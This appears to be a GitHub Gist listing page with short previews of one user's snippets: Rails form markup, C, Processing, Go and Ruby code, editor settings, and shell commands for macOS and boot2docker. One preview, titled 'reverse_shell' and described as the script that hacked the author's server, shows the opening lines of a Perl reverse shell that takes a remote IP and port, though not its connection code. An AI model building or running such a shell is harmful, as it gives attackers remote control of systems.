Skip to content

Instantly share code, notes, and snippets.

@jingkaihe
jingkaihe / (registration)new.html.slim
Last active December 20, 2015 00:09
Ominauth callback
h2 Sign up
= simple_form_for(resource, :as => resource_name, :url => registration_path(resource_name)) do |f|
= f.error_notification
.form-inputs
= f.input :email, :required => true, :autofocus => true
= f.input :username, :required => true
.form-actions
= f.button :submit, "Sign up"
/= render "devise/shared/links"
#include <stdio.h>
#include <math.h>
#define N 729
#define reps 100
#include <omp.h>
double a[N][N], b[N][N], c[N];
int jmax[N];
@jingkaihe
jingkaihe / hello
Last active January 4, 2016 18:29
// Einbeziehen des minim-Audio-Toolkits
import ddf.minim.*;
import ddf.minim.effects.*;
import processing.serial.*;
import TUIO.*;
import java.util.*;
// Instanz der minim Bibliothek
Minim minim;
TuioProcessing tuioClient;
require 'momm/web'
run Momm::Web
@jingkaihe
jingkaihe / default_screenshots.sh
Created May 21, 2014 10:40
Specify default screenshots folder
defaults write com.apple.screencapture location ~/Pictures/ScreenShots
killall SystemUIServer
@jingkaihe
jingkaihe / reverse_shell
Created July 9, 2014 09:42
The script hacked my server...
#!/usr/bin/perl -w
use strict;
use Socket;
use IO::Handle;
if($#ARGV+1 != 2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
@jingkaihe
jingkaihe / gist:1e34af9deaa37c8562ed
Created September 1, 2014 10:40
Sublime Configuration
{
"color_scheme": "Packages/Theme - Spacegray/base16-ocean.dark.tmTheme",
"ensure_newline_at_eof_on_save": true,
"font_face": "Source Code Pro Light",
"font_size": 16,
"ignored_packages":
[
"Vintage",
"LESS",
"Ruby Slim",
@jingkaihe
jingkaihe / port-forward.sh
Created September 23, 2014 23:17
boot2docker must do.
for i in {49000..49900}; do
VBoxManage modifyvm "boot2docker-vm" --natpf1 "tcp-port$i,tcp,,$i,,$i";
VBoxManage modifyvm "boot2docker-vm" --natpf1 "udp-port$i,udp,,$i,,$i";
done
package main
import (
"encoding/json"
"os"
"fmt"
"log"
"code.google.com/p/goauth2/oauth"
"flag"
"bytes"
require 'yaml'
require 'httparty'
def get_secret
secret_file = File.expand_path('../.secret.yml', __FILE__)
YAML.load_file(secret_file)
end
secret = get_secret